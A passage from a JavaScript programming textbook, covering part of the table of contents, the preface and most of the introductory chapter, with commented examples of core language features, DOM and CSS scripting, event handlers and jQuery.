4.6 Object Creation Expressions 61
4.7 Operator Overview 62
4.8 Arithmetic Expressions 66
4.9 Relational Expressions 71
4.10 Logical Expressions 75
4.11 Assignment Expressions 77
4.12 Evaluation Expressions 79
4.13 Miscellaneous Operators 82

5. Statements 87
5.1 Expression Statements 88
5.2 Compound and Empty Statements 88
5.3 Declaration Statements 89
5.4 Conditionals 92
5.5 Loops 97
5.6 Jumps 102
5.7 Miscellaneous Statements 108
5.8 Summary of JavaScript Statements 112

6. Objects 115
6.1 Creating Objects 116
6.2 Querying and Setting Properties 120
6.3 Deleting Properties 124
6.4 Testing Properties 125
6.5 Enumerating Properties 126
6.6 Property Getters and Setters 128
6.7 Property Attributes 131
6.8 Object Attributes 135
6.9 Serializing Objects 138
6.10 Object Methods 138

7. Arrays 141
7.1 Creating Arrays 141
7.2 Reading and Writing Array Elements 142
7.3 Sparse Arrays 144
7.4 Array Length 144
7.5 Adding and Deleting Array Elements 145
7.6 Iterating Arrays 146
7.7 Multidimensional Arrays 148
7.8 Array Methods 148
7.9 ECMAScript 5 Array Methods 153
7.10 Array Type 157

7.11 Array-Like Objects 158
7.12 Strings As Arrays 160

8. Functions 163
8.1 Defining Functions 164
8.2 Invoking Functions 166
8.3 Function Arguments and Parameters 171
8.4 Functions As Values 176
8.5 Functions As Namespaces 178
8.6 Closures 180
8.7 Function Properties, Methods, and Constructor 186
8.8 Functional Programming 191

9. Classes and Modules 199
9.1 Classes and Prototypes 200
9.2 Classes and Constructors 201
9.3 Java-Style Classes in JavaScript 205
9.4 Augmenting Classes 208
9.5 Classes and Types 209
9.6 Object-Oriented Techniques in JavaScript 215
9.7 Subclasses 228
9.8 Classes in ECMAScript 5 238
9.9 Modules 246

10. Pattern Matching with Regular Expressions 251
10.1 Defining Regular Expressions 251
10.2 String Methods for Pattern Matching 259
10.3 The RegExp Object 261

11. JavaScript Subsets and Extensions 265
11.1 JavaScript Subsets 266
11.2 Constants and Scoped Variables 269
11.3 Destructuring Assignment 271
11.4 Iteration 274
11.5 Shorthand Functions 282
11.6 Multiple Catch Clauses 283
11.7 E4X: ECMAScript for XML 283

12. Server-Side JavaScript 289
12.1 Scripting Java with Rhino 289
12.2 Asynchronous I/O with Node 296

Part II. Client-Side JavaScript

13. JavaScript in Web Browsers 307
13.1 Client-Side JavaScript 307
13.2 Embedding JavaScript in HTML 311
13.3 Execution of JavaScript Programs 317
13.4 Compatibility and Interoperability 325
13.5 Accessibility 332
13.6 Security 332
13.7 Client-Side Frameworks 338

14. The Window Object 341
14.1 Timers 341
14.2 Browser Location and Navigation 343
14.3 Browsing History 345
14.4 Browser and Screen Information 346
14.5 Dialog Boxes 348
14.6 Error Handling 351
14.7 Document Elements As Window Properties 351
14.8 Multiple Windows and Frames 353

15. Scripting Documents 361
15.1 Overview of the DOM 361
15.2 Selecting Document Elements 364
15.3 Document Structure and Traversal 371
15.4 Attributes 375
15.5 Element Content 378
15.6 Creating, Inserting, and Deleting Nodes 382
15.7 Example: Generating a Table of Contents 387
15.8 Document and Element Geometry and Scrolling 389
15.9 HTML Forms 396
15.10 Other Document Features 405

16. Scripting CSS 413
16.1 Overview of CSS 414
16.2 Important CSS Properties 419
16.3 Scripting Inline Styles 431
16.4 Querying Computed Styles 435
16.5 Scripting CSS Classes 437
16.6 Scripting Stylesheets 440

17. Handling Events 445
17.1 Types of Events 447

17.2 Registering Event Handlers 456
17.3 Event Handler Invocation 460
17.4 Document Load Events 465
17.5 Mouse Events 467
17.6 Mousewheel Events 471
17.7 Drag and Drop Events 474
17.8 Text Events 481
17.9 Keyboard Events 484

18. Scripted HTTP 491
18.1 Using XMLHttpRequest 494
18.2 HTTP by <script>: JSONP 513
18.3 Comet with Server-Sent Events 515

19. The jQuery Library 523
19.1 jQuery Basics 524
19.2 jQuery Getters and Setters 531
19.3 Altering Document Structure 537
19.4 Handling Events with jQuery 540
19.5 Animated Effects 551
19.6 Ajax with jQuery 558
19.7 Utility Functions 571
19.8 jQuery Selectors and Selection Methods 574
19.9 Extending jQuery with Plug-ins 582
19.10 The jQuery UI Library 585

20. Client-Side Storage 587
20.1 localStorage and sessionStorage 589
20.2 Cookies 593
20.3 IE userData Persistence 599
20.4 Application Storage and Offline Webapps 601

21. Scripted Media and Graphics 613
21.1 Scripting Images 613
21.2 Scripting Audio and Video 615
21.3 SVG: Scalable Vector Graphics 622
21.4 Graphics in a <canvas> 630

22. HTML5 APIs 667
22.1 Geolocation 668
22.2 History Management 671
22.3 Cross-Origin Messaging 676
22.4 Web Workers 680

22.5 Typed Arrays and ArrayBuffers 687
22.6 Blobs 691
22.7 The Filesystem API 700
22.8 Client-Side Databases 705
22.9 Web Sockets 712

Part III. Core JavaScript Reference

Core JavaScript Reference 719

Part IV. Client-Side JavaScript Reference

Client-Side JavaScript Reference 859

Index 1019

Preface

This book covers the JavaScript language and the JavaScript APIs implemented by web browsers. I wrote it for readers with at least some prior programming experience who want to learn JavaScript and also for programmers who already use JavaScript but want to take their understanding to a new level and really master the language and the web platform. My goal with this book is to document the JavaScript language and platform comprehensively and definitively. As a result, this is a large and detailed book. My hope, however, is that it will reward careful study, and that the time you spend reading it will be easily recouped in the form of higher programming productivity.

This book is divided into four parts. Part I covers the JavaScript language itself. Part II covers client-side JavaScript: the JavaScript APIs defined by HTML5 and related standards and implemented by web browsers. Part III is the reference section for the core language, and Part IV is the reference for client-side JavaScript. Chapter 1 includes an outline of the chapters in Parts I and II (see §1.1).

This sixth edition of the book covers both ECMAScript 5 (the latest version of the core language) and HTML5 (the latest version of the web platform). You'll find ECMAScript 5 material throughout Part I. The new material on HTML5 is mostly in the chapters at the end of Part II, but there is also some in other chapters as well. Completely new chapters in this edition include Chapter 11, *JavaScript Subsets and Extensions*; Chapter 12, *Server-Side JavaScript*; Chapter 19, *The jQuery Library*; and Chapter 22, *HTML5 APIs*.

Readers of previous editions may notice that I have completely rewritten many of the chapters in this book for the sixth edition. The core of Part I—the chapters covering objects, arrays, functions, and classes—is all new and brings the book in line with current programming styles and best practices. Similarly, key chapters of Part II, such as those covering documents and events, have been completely rewritten to bring them up-to-date.

A Note About Piracy

If you are reading a digital version of this book that you (or your employer) did not pay for (or borrow from someone who did) then you probably have an illegally pirated copy. Writing the sixth edition of this book was a full-time job, and it took more than a year. The only way I get paid for that time is when readers actually buy the book. And the only way I can afford to work on a seventh edition is if I get paid for the sixth.

I do not condone piracy, but if you have a pirated copy, go ahead and read a couple of chapters. I think that you'll find that this is a valuable source of information about JavaScript, better organized and of higher quality than what you can find freely (and legally) available on the Web. If you agree that this is a valuable source of information, then please pay for that value by purchasing a legal copy (either digital or print) of the book. On the other hand, if you find that this book is no more valuable than the free information on the web, then please discard your pirated copy and use those free information sources.

Conventions Used in This Book

I use the following typographical conventions in this book:

Italic
: Is used for emphasis and to indicate the first use of a term. *Italic* is also used for email addresses, URLs and file names.

`Constant width`
: Is used in all JavaScript code and CSS and HTML listings, and generally for anything that you would type literally when programming.

`Constant width italic`
: Is used for the names of function parameters, and generally as a placeholder to indicate an item that should be replaced with an actual value in your program.

Example Code

The examples in this book are available online. You can find them linked from the book's catalog page at the publisher's website:

http://oreilly.com/catalog/9780596805531/

This book is here to help you get your job done. In general, you may use the code in this book in your programs and documentation. You do not need to contact O'Reilly for permission unless you're reproducing a significant portion of the code. For example, writing a program that uses several chunks of code from this book does not require permission. Selling or distributing a CD-ROM of examples from O'Reilly books *does* require permission. Answering a question by citing this book and quoting example

code does not require permission. Incorporating a significant amount of example code from this book into your product's documentation *does* require permission.

If you use the code from this book, I appreciate, but do not require, attribution. An attribution usually includes the title, author, publisher, and ISBN. For example: "*JavaScript: The Definitive Guide*, by David Flanagan (O'Reilly). Copyright 2011 David Flanagan, 978-0-596-80552-4."

For more details on the O'Reilly code reuse policy, see *http://oreilly.com/pub/a/oreilly/ask_tim/2001/codepolicy.html*. If you feel your use of the examples falls outside of the permission given above, feel free to contact O'Reilly at *permissions@oreilly.com*.

Errata and How to Contact Us

The publisher maintains a public list of errors found in this book. You can view the list, and submit the errors you find, by visiting the book's web page:

http://oreilly.com/catalog/9780596805531

To comment or ask technical questions about this book, send email to:

bookquestions@oreilly.com

For more information about our books, conferences, Resource Centers, and the O'Reilly Network, see our website at:

http://www.oreilly.com

Find us on Facebook: *http://facebook.com/oreilly*

Follow us on Twitter: *http://twitter.com/oreillymedia*

Watch us on YouTube: *http://www.youtube.com/oreillymedia*

Acknowledgments

Many people have helped me with the creation of this book. I'd like to thank my editor, Mike Loukides, for trying to keep me on schedule and for his insightful comments. Thanks also to my technical reviewers: Zachary Kessin, who reviewed many of the chapters in Part I, and Raffaele Cecco, who reviewed Chapter 19 and the `<canvas>` material in Chapter 21. The production team at O'Reilly has done their usual fine job: Dan Fauxsmith managed the production process, Teresa Elsey was the production editor, Rob Romano drew the figures, and Ellen Troutman Zaig created the index.

In this era of effortless electronic communication, it is impossible to keep track of all those who influence and inform us. I'd like to thank everyone who has answered my questions on the es5, w3c, and whatwg mailing lists, and everyone who has shared their insightful ideas about JavaScript programming online. I'm sorry I can't list you all by

name, but it is a pleasure to work within such a vibrant community of JavaScript programmers.

Editors, reviewers, and contributors to previous editions of this book have included: Andrew Schulman, Angelo Sirigos, Aristotle Pagaltzis, Brendan Eich, Christian Heilmann, Dan Shafer, Dave C. Mitchell, Deb Cameron, Douglas Crockford, Dr. Tankred Hirschmann, Dylan Schiemann, Frank Willison, Geoff Stearns, Herman Venter, Jay Hodges, Jeff Yates, Joseph Kesselman, Ken Cooper, Larry Sullivan, Lynn Rollins, Neil Berkman, Nick Thompson, Norris Boyd, Paula Ferguson, Peter-Paul Koch, Philippe Le Hegaret, Richard Yaker, Sanders Kleinfeld, Scott Furman, Scott Issacs, Shon Katzenberger, Terry Allen, Todd Ditchendorf, Vidur Apparao, and Waldemar Horwat.

This edition of the book is substantially rewritten and kept me away from my family for many late nights. My love to them and my thanks for putting up with my absences.

— David Flanagan (davidflanagan.com), March 2011

CHAPTER 1

Introduction to JavaScript

JavaScript is the programming language of the Web. The overwhelming majority of modern websites use JavaScript, and all modern web browsers—on desktops, game consoles, tablets, and smart phones—include JavaScript interpreters, making JavaScript the most ubiquitous programming language in history. JavaScript is part of the triad of technologies that all Web developers must learn: HTML to specify the content of web pages, CSS to specify the presentation of web pages, and JavaScript to specify the behavior of web pages. This book will help you master the language.

If you are already familiar with other programming languages, it may help you to know that JavaScript is a high-level, dynamic, untyped interpreted programming language that is well-suited to object-oriented and functional programming styles. JavaScript derives its syntax from Java, its first-class functions from Scheme, and its prototype-based inheritance from Self. But you do not need to know any of those languages, or be familiar with those terms, to use this book and learn JavaScript.

The name "JavaScript" is actually somewhat misleading. Except for a superficial syntactic resemblance, JavaScript is completely different from the Java programming language. And JavaScript has long since outgrown its scripting-language roots to become a robust and efficient general-purpose language. The latest version of the language (see the sidebar) defines new features for serious large-scale software development.

JavaScript: Names and Versions

JavaScript was created at Netscape in the early days of the Web, and technically, "JavaScript" is a trademark licensed from Sun Microsystems (now Oracle) used to describe Netscape's (now Mozilla's) implementation of the language. Netscape submitted the language for standardization to ECMA—the European Computer Manufacturer's Association—and because of trademark issues, the standardized version of the language was stuck with the awkward name "ECMAScript." For the same trademark reasons, Microsoft's version of the language is formally known as "JScript." In practice, just about everyone calls the language JavaScript. This book uses the name "ECMAScript" only to refer to the language standard.

For the last decade, all web browsers have implemented version 3 of the ECMAScript standard and there has really been no need to think about version numbers: the language standard was stable and browser implementations of the language were, for the most part, interoperable. Recently, an important new version of the language has been defined as ECMAScript version 5 and, at the time of this writing, browsers are beginning to implement it. This book covers all the new features of ECMAScript 5 as well as all the long-standing features of ECMAScript 3. You'll sometimes see these language versions abbreviated as ES3 and ES5, just as you'll sometimes see the name JavaScript abbreviated as JS.

When we're speaking of the language itself, the only version numbers that are relevant are ECMAScript versions 3 or 5. (Version 4 of ECMAScript was under development for years, but proved to be too ambitious and was never released.) Sometimes, however, you'll also see a JavaScript version number, such as JavaScript 1.5 or JavaScript 1.8. These are Mozilla's version numbers: version 1.5 is basically ECMAScript 3, and later versions include nonstandard language extensions (see Chapter 11). Finally, there are also version numbers attached to particular JavaScript interpreters or "engines." Google calls its JavaScript interpreter V8, for example, and at the time of this writing the current version of the V8 engine is 3.0.

To be useful, every language must have a platform or standard library or API of functions for performing things like basic input and output. The core JavaScript language defines a minimal API for working with text, arrays, dates, and regular expressions but does not include any input or output functionality. Input and output (as well as more sophisticated features, such as networking, storage, and graphics) are the responsibility of the "host environment" within which JavaScript is embedded. Usually that host environment is a web browser (though we'll see two uses of JavaScript without a web browser in Chapter 12). Part I of this book covers the language itself and its minimal built-in API. Part II explains how JavaScript is used in web browsers and covers the sprawling browser-based APIs loosely known as "client-side JavaScript."

Part III is the reference section for the core API. You can read about the JavaScript array manipulation API by looking up "Array" in this part of the book, for example. Part IV is the reference section for client-side JavaScript. You might look up "Canvas"

in this part of the book to read about the graphics API defined by the HTML5 `<canvas>` element, for example.

This book covers low-level fundamentals first, and then builds on those to more advanced and higher-level abstractions. The chapters are intended to be read more or less in order. But learning a new programming language is never a linear process, and describing a language is not linear either: each language feature is related to other features and this book is full of cross-references—sometimes backward and sometimes forward to material you have not yet read. This chapter makes a quick first pass through the core language and the client-side API, introducing key features that will make it easier to understand the in-depth treatment in the chapters that follow.

Exploring JavaScript

When learning a new programming language, it's important to try the examples in the book, and then modify them and try them again to test your understanding of the language. To do that, you need a JavaScript interpreter. Fortunately, every web browser includes a JavaScript interpreter, and if you're reading this book, you probably already have more than one web browser installed on your computer.

We'll see later on in this chapter that you can embed JavaScript code within `<script>` tags in HTML files, and when the browser loads the file, it will execute the code. Fortunately, however, you don't have to do that every time you want to try out simple snippets of JavaScript code. Spurred on by the powerful and innovative Firebug extension for Firefox (pictured in Figure 1-1 and available for download from *http://getfirebug.com/*), today's web browsers all include web developer tools that are indispensable for debugging, experimenting, and learning. You can usually find these tools in the Tools menu of the browser under names like "Developer Tools" or "Web Console." (Firefox 4 includes a built-in "Web Console," but at the time of this writing, the Firebug extension is better.) Often, you can call up a console with a keystroke like F12 or Ctrl-Shift-J. These console tools often appear as panes at the top or bottom of the browser window, but some allow you to open them as separate windows (as pictured in Figure 1-1), which is often quite convenient.

A typical "developer tools" pane or window includes multiple tabs that allow you to inspect things like HTML document structure, CSS styles, network requests, and so on. One of the tabs is a "JavaScript console" that allows you to type in lines of JavaScript code and try them out. This is a particularly easy way to play around with JavaScript, and I recommend that you use it as you read this book.

There is a simple console API that is portably implemented by modern browsers. You can use the function `console.log()` to display text on the console. This is often surprisingly helpful while debugging, and some of the examples in this book (even in the core language section) use `console.log()` to perform simple output. A similar but more intrusive way to display output or debugging messages is by passing a string of text to the `alert()` function, which displays it in a modal dialog box.

Figure 1-1. The Firebug debugging console for Firefox

1.1 Core JavaScript

This section is a tour of the JavaScript language, and also a tour of Part I of this book. After this introductory chapter, we dive into JavaScript at the lowest level: Chapter 2, *Lexical Structure*, explains things like JavaScript comments, semicolons, and the Unicode character set. Chapter 3, *Types, Values, and Variables*, starts to get more interesting: it explains JavaScript variables and the values you can assign to those variables. Here's some sample code to illustrate the highlights of those two chapters:

```
// Anything following double slashes is an English-language comment.
// Read the comments carefully: they explain the JavaScript code.

// variable is a symbolic name for a value.
// Variables are declared with the var keyword:
var x;                      // Declare a variable named x.

// Values can be assigned to variables with an = sign
x = 0;                      // Now the variable x has the value 0
x                           // => 0: A variable evaluates to its value.

// JavaScript supports several types of values
x = 1;                      // Numbers.
x = 0.01;                   // Just one Number type for integers and reals.
x = "hello world";          // Strings of text in quotation marks.
x = 'JavaScript';           // Single quote marks also delimit strings.
x = true;                   // Boolean values.
x = false;                  // The other Boolean value.
```

```
x = null;                   // Null is a special value that means "no value".
x = undefined;              // Undefined is like null.
```

Two other very important *types* that JavaScript programs can manipulate are objects and arrays. These are the subject of Chapter 6, *Objects*, and Chapter 7, *Arrays*, but they are so important that you'll see them many times before you reach those chapters.

```
// JavaScript's most important data type is the object.
// An object is a collection of name/value pairs, or a string to value map.
var book = {                // Objects are enclosed in curly braces.
    topic: "JavaScript",    // The property "topic" has value "JavaScript".
    fat: true               // The property "fat" has value true.
};                          // The curly brace marks the end of the object.

// Access the properties of an object with . or []:
book.topic                  // => "JavaScript"
book["fat"]                 // => true: another way to access property values.
book.author = "Flanagan";   // Create new properties by assignment.
book.contents = {};         // {} is an empty object with no properties.

// JavaScript also supports arrays (numerically indexed lists) of values:
var primes = [2, 3, 5, 7]; // An array of 4 values, delimited with [ and ].
primes[0]                   // => 2: the first element (index 0) of the array.
primes.length               // => 4: how many elements in the array.
primes[primes.length-1]     // => 7: the last element of the array.
primes[4] = 9;              // Add a new element by assignment.
primes[4] = 11;             // Or alter an existing element by assignment.
var empty = [];             // [] is an empty array with no elements.
empty.length                // => 0

// Arrays and objects can hold other arrays and objects:
var points = [              // An array with 2 elements.
    {x:0, y:0},             // Each element is an object.
    {x:1, y:1}
];
var data = {                // An object with 2 properties
  trial1: [[1,2], [3,4]],   // The value of each property is an array.
  trial2: [[2,3], [4,5]]    // The elements of the arrays are arrays.
};
```

The syntax illustrated above for listing array elements within square braces or mapping object property names to property values inside curly braces is known as an *initializer expression*, and it is just one of the topics of Chapter 4, *Expressions and Operators*. An *expression* is a phrase of JavaScript that can be *evaluated* to produce a value. The use of `.` and `[]` to refer to the value of an object property or array element is an expression, for example. You may have noticed in the code above that when an expression stands alone on a line, the comment that follows it begins with an arrow (`=>`) and the value of the expression. This is a convention that you'll see throughout this book.

One of the most common ways to form expressions in JavaScript is to use *operators* like these:

```
// Operators act on values (the operands) to produce a new value.
// Arithmetic operators are the most common:
3 + 2                       // => 5: addition
```

```
3 - 2                       // => 1: subtraction
3 * 2                       // => 6: multiplication
3 / 2                       // => 1.5: division
points[1].x - points[0].x   // => 1: more complicated operands work, too
"3" + "2"                   // => "32": + adds numbers, concatenates strings

// JavaScript defines some shorthand arithmetic operators
var count = 0;              // Define a variable
count++;                    // Increment the variable
count--;                    // Decrement the variable
count += 2;                 // Add 2: same as count = count + 2;
count *= 3;                 // Multiply by 3: same as count = count * 3;
count                       // => 6: variable names are expressions, too.

// Equality and relational operators test whether two values are equal,
// unequal, less than, greater than, and so on. They evaluate to true or false.
var x = 2, y = 3;           // These = signs are assignment, not equality tests
x == y                      // => false: equality
x != y                      // => true: inequality
x < y                       // => true: less-than
x <= y                      // => true: less-than or equal
x > y                       // => false: greater-than
x >= y                      // => false: greater-than or equal
"two" == "three"            // => false: the two strings are different
"two" > "three"             // => true: "tw" is alphabetically greater than "th"
false == (x > y)            // => true: false is equal to false

// Logical operators combine or invert boolean values
(x == 2) && (y == 3)        // => true: both comparisons are true. && is AND
(x > 3) || (y < 3)          // => false: neither comparison is true. || is OR
!(x == y)                   // => true: ! inverts a boolean value
```

If the phrases of JavaScript are expressions, then the full sentences are *statements*, which are the topic of Chapter 5, *Statements*. In the code above, the lines that end with semicolons are statements. (In the code below, you'll see multiline statements that do not end with semicolons.) There is actually a lot of overlap between statements and expressions. Roughly, an expression is something that computes a value but doesn't *do* anything: it doesn't alter the program state in any way. Statements, on the other hand, don't have a value (or don't have a value that we care about), but they do alter the state. You've seen variable declarations and assignment statements above. The other broad category of statement is *control structures*, such as conditionals and loops. Examples are below, after we cover functions.

A *function* is a named and parametrized block of JavaScript code that you define once, and can then invoke over and over again. Functions aren't covered formally until Chapter 8, *Functions*, but like objects and arrays, you'll see them many times before you get to that chapter. Here are some simple examples:

```
// Functions are parameterized blocks of JavaScript code that we can invoke.
function plus1(x) {         // Define a function named "plus1" with parameter "x"
    return x+1;             // Return a value one larger than the value passed in
}                           // Functions are enclosed in curly braces
```

```
plus1(y)                  // => 4: y is 3, so this invocation returns 3+1

var square = function(x) { // Functions are values and can be assigned to vars
    return x*x;           // Compute the function's value
};                        // Semicolon marks the end of the assignment.

square(plus1(y))          // => 16: invoke two functions in one expression
```

When we combine functions with objects, we get *methods*:

```
// When functions are assigned to the properties of an object, we call
// them "methods".  All JavaScript objects have methods:
var a = [];               // Create an empty array
a.push(1,2,3);            // The push() method adds elements to an array
a.reverse();              // Another method: reverse the order of elements

// We can define our own methods, too. The "this" keyword refers to the object
// on which the method is defined: in this case, the points array from above.
points.dist = function() { // Define a method to compute distance between points
    var p1 = this[0];     // First element of array we're invoked on
    var p2 = this[1];     // Second element of the "this" object
    var a = p2.x-p1.x;    // Difference in X coordinates
    var b = p2.y-p1.y;    // Difference in Y coordinates
    return Math.sqrt(a*a + // The Pythagorean theorem
                     b*b); // Math.sqrt() computes the square root
};
points.dist()             // => 1.414: distance between our 2 points
```

Now, as promised, here are some functions whose bodies demonstrate common JavaScript control structure statements:

```
// JavaScript statements include conditionals and loops using the syntax
// of C, C++, Java, and other languages.
function abs(x) {         // A function to compute the absolute value
    if (x >= 0) {         // The if statement...
        return x;         //   executes this code if the comparison is true.
    }                     // This is the end of the if clause.
    else {                // The optional else clause executes its code if
        return -x;        //   the comparison is false.
    }                     // Curly braces optional when 1 statement per clause.
}                         // Note return statements nested inside if/else.

function factorial(n) {   // A function to compute factorials
    var product = 1;      // Start with a product of 1
    while(n > 1) {        // Repeat statements in {} while expr in () is true
        product *= n;     // Shortcut for product = product * n;
        n--;              // Shortcut for n = n - 1
    }                     // End of loop
    return product;       // Return the product
}
factorial(4)              // => 24: 1*4*3*2

function factorial2(n) {  // Another version using a different loop
    var i, product = 1;   // Start with 1
    for(i=2; i <= n; i++) // Automatically increment i from 2 up to n
        product *= i;     // Do this each time. {} not needed for 1-line loops
    return product;       // Return the factorial
```

```
}
factorial2(5)              // => 120: 1*2*3*4*5
```

JavaScript is an object-oriented language, but it is quite different than most. Chapter 9, *Classes and Modules*, covers object-oriented programming in JavaScript in detail, with lots of examples, and is one of the longest chapters in the book. Here is a very simple example that demonstrates how to define a JavaScript class to represent 2D geometric points. Objects that are instances of this class have a single method named `r()` that computes the distance of the point from the origin:

```
// Define a constructor function to initialize a new Point object
function Point(x,y) {      // By convention, constructors start with capitals
    this.x = x;            // this keyword is the new object being initialized
    this.y = y;            // Store function arguments as object properties
}                          // No return is necessary

// Use a constructor function with the keyword "new" to create instances
var p = new Point(1, 1);   // The geometric point (1,1)

// Define methods for Point objects by assigning them to the prototype
// object associated with the constructor function.
Point.prototype.r = function() {
    return Math.sqrt(      // Return the square root of x² + y²
        this.x * this.x +  // This is the Point object on which the method...
        this.y * this.y    // ...is invoked.
    );
};

// Now the Point object p (and all future Point objects) inherits the method r()
p.r()                      // => 1.414...
```

Chapter 9 is really the climax of Part I, and the chapters that follow wrap up some loose ends and bring our exploration of the core language to a close. Chapter 10, *Pattern Matching with Regular Expressions*, explains the regular expression grammar and demonstrates how to use these "regexps" for textual pattern matching. Chapter 11, *JavaScript Subsets and Extensions*, covers subsets and extensions of core JavaScript. Finally, before we plunge into client-side JavaScript in web browsers, Chapter 12, *Server-Side JavaScript*, introduces two ways to use JavaScript outside of web browsers.

1.2 Client-Side JavaScript

Client-side JavaScript does not exhibit the nonlinear cross-reference problem nearly to the extent that the core language does, and it is possible to learn how to use JavaScript in web browsers in a fairly linear sequence. But you're probably reading this book to learn client-side JavaScript, and Part II is a long way off, so this section is a quick sketch of basic client-side programming techniques, followed by an in-depth example.

Chapter 13, *JavaScript in Web Browsers*, is the first chapter of Part II and it explains in detail how to put JavaScript to work in web browsers. The most important thing you'll

learn in that chapter is that JavaScript code can be embedded within HTML files using the `<script>` tag:

```
<html>
<head>
<script src="library.js"></script> <!-- include a library of JavaScript code -->
</head>
<body>
<p>This is a paragraph of HTML</p>
<script>
// And this is some client-side JavaScript code
// literally embedded within the HTML file
</script>
<p>Here is more HTML.</p>
</body>
</html>
```

Chapter 14, *The Window Object*, explains techniques for scripting the web browser and covers some important global functions of client-side JavaScript. For example:

```
<script>
function moveon() {
    // Display a modal dialog to ask the user a question
    var answer = confirm("Ready to move on?");
    // If they clicked the "OK" button, make the browser load a new page
    if (answer) window.location = "http://google.com";
}
// Run the function defined above 1 minute (60,000 milliseconds) from now.
setTimeout(moveon, 60000);
</script>
```

Note that the client-side example code shown in this section comes in longer snippets than the core language examples earlier in the chapter. These examples are not designed to be typed into a Firebug (or similar) console window. Instead you can embed them in an HTML file and try them out by loading them in your web browser. The code above, for instance, works as a stand-alone HTML file.

Chapter 15, *Scripting Documents*, gets down to the real business of client-side JavaScript, scripting HTML document content. It shows you how to select particular HTML elements from within a document, how to set HTML attributes of those elements, how to alter the content of those elements, and how to add new elements to the document. This function demonstrates a number of these basic document searching and modification techniques:

```
// Display a message in a special debugging output section of the document.
// If the document does not contain such a section, create one.
function debug(msg) {
    // Find the debugging section of the document, looking at HTML id attributes
    var log = document.getElementById("debuglog");

    // If no element with the id "debuglog" exists, create one.
    if (!log) {
        log = document.createElement("div");  // Create a new <div> element
        log.id = "debuglog";                  // Set the HTML id attribute on it
```

```
        log.innerHTML = "<h1>Debug Log</h1>"; // Define initial content
        document.body.appendChild(log);       // Add it at end of document
    }

    // Now wrap the message in its own <pre> and append it to the log
    var pre = document.createElement("pre");  // Create a <pre> tag
    var text = document.createTextNode(msg);  // Wrap msg in a text node
    pre.appendChild(text);                    // Add text to the <pre>
    log.appendChild(pre);                     // Add <pre> to the log
}
```

Chapter 15 shows how JavaScript can script the HTML elements that define web content. Chapter 16, *Scripting CSS*, shows how you can use JavaScript with the CSS styles that define the presentation of that content. This is often done with the `style` or `class` attribute of HTML elements:

```
function hide(e, reflow) { // Hide the element e by scripting its style
    if (reflow) {                      // If 2nd argument is true
        e.style.display = "none"       // hide element and use its space
    }
    else {                             // Otherwise
        e.style.visibility = "hidden"; // make e invisible, but leave its space
    }
}

function highlight(e) {    // Highlight e by setting a CSS class
    // Simply define or append to the HTML class attribute.
    // This assumes that a CSS stylesheet already defines the "hilite" class
    if (!e.className) e.className = "hilite";
    else e.className += " hilite";
}
```

JavaScript allows us to script the HTML content and CSS presentation of documents in web browsers, but it also allows us to define behavior for those documents with *event handlers*. An event handler is a JavaScript function that we register with the browser and the browser invokes when some specified type of event occurs. The event of interest might be a mouse click or a key press (or on a smart phone, it might be a two-finger gesture of some sort). Or an event handler might be triggered when the browser finishes loading a document, when the user resizes the browser window, or when the user enters data into an HTML form element. Chapter 17, *Handling Events*, explains how you can define and register event handlers and how the browser invokes them when events occur.

The simplest way to define event handlers is with HTML attributes that begin with "on". The "onclick" handler is a particularly useful one when you're writing simple test programs. Suppose that you had typed in the `debug()` and `hide()` functions from above and saved them in files named *debug.js* and *hide.js*. You could write a simple HTML test file using `<button>` elements with `onclick` event handler attributes:

```
<script src="debug.js"></script>
<script src="hide.js"></script>
Hello
<button onclick="hide(this,true); debug('hide button 1');">Hide1</button>
```

```
<button onclick="hide(this); debug('hide button 2');">Hide2</button>
World
```

Here is some more client-side JavaScript code that uses events. It registers an event handler for the very important "load" event, and it also demonstrates a more sophisticated way of registering event handler functions for "click" events:

```
// The "load" event occurs when a document is fully loaded. Usually we
// need to wait for this event before we start running our JavaScript code.
window.onload = function() {  // Run this function when the document loads
    // Find all <img> tags in the document
    var images = document.getElementsByTagName("img");

    // Loop through them, adding an event handler for "click" events to each
    // so that clicking on the image hides it.
    for(var i = 0; i < images.length; i++) {
        var image = images[i];
        if (image.addEventListener) // Another way to register a handler
            image.addEventListener("click", hide, false);
        else                        // For compatibility with IE8 and before
            image.attachEvent("onclick", hide);
    }

    // This is the event handler function registered above
    function hide(event) { event.target.style.visibility = "hidden"; }
};
```

Chapters 15, 16, and 17 explain how you can use JavaScript to script the content (HTML), presentation (CSS), and behavior (event handling) of web pages. The APIs described in those chapters are somewhat complex and, until recently, riddled with browser incompatibilities. For these reasons, many or most client-side JavaScript programmers choose to use a client-side library or framework to simplify their basic programming tasks. The most popular such library is jQuery, the subject of Chapter 19, *The jQuery Library*. jQuery defines a clever and easy-to-use API for scripting document content, presentation, and behavior. It has been thoroughly tested and works in all major browsers, including old ones like IE6.

jQuery code is easy to identify because it makes frequent use of a function named `$()`. Here is what the `debug()` function used previously looks like when rewritten to use jQuery:

```
function debug(msg) {
    var log = $("#debuglog");          // Find the element to display msg in.
    if (log.length == 0) {             // If it doesn't exist yet, create it...
        log = $("<div id='debuglog'><h1>Debug Log</h1></div>");
        log.appendTo(document.body);   // and insert it at the end of the body.
    }
    log.append($("<pre/>").text(msg)); // Wrap msg in <pre> and append to log.
}
```

The four chapters of Part II described so far have all really been about web *pages*. Four more chapters shift gears to focus on web *applications*. These chapters are not about using web browsers to display documents with scriptable content, presentation, and

behavior. Instead, they're about using web browsers as application platforms, and they describe the APIs that modern browsers provide to support sophisticated client-side web apps. Chapter 18, *Scripted HTTP*, explains how to make scripted HTTP requests with JavaScript—a kind of networking API. Chapter 20, *Client-Side Storage*, describes mechanisms for storing data—and even entire applications—on the client side for use in future browsing sessions. Chapter 21, *Scripted Media and Graphics*, covers a client-side API for drawing arbitrary graphics in an HTML `<canvas>` tag. And, finally, Chapter 22, *HTML5 APIs*, covers an assortment of new web app APIs specified by or affiliated with HTML5. Networking, storage, graphics: these are OS-type services being provided by the web browser, defining a new cross-platform application environment. If you are targeting browsers that support these new APIs, it is an exciting time to be a client-side JavaScript programmer. There are no code samples from these final four chapters here, but the extended example below uses some of these new APIs.

1.2.1 Example: A JavaScript Loan Calculator

This chapter ends with an extended example that puts many of these techniques together and shows what real-world client-side JavaScript (plus HTML and CSS) programs look like. Example 1-1 lists the code for the simple loan payment calculator application pictured in Figure 1-2.

Figure 1-2. A loan calculator web application

It is worth reading through Example 1-1 carefully. You shouldn't expect to understand everything, but the code is heavily commented and you should be able to at least get

the big-picture view of how it works. The example demonstrates a number of core JavaScript language features, and also demonstrates important client-side JavaScript techniques:

- How to find elements in a document.
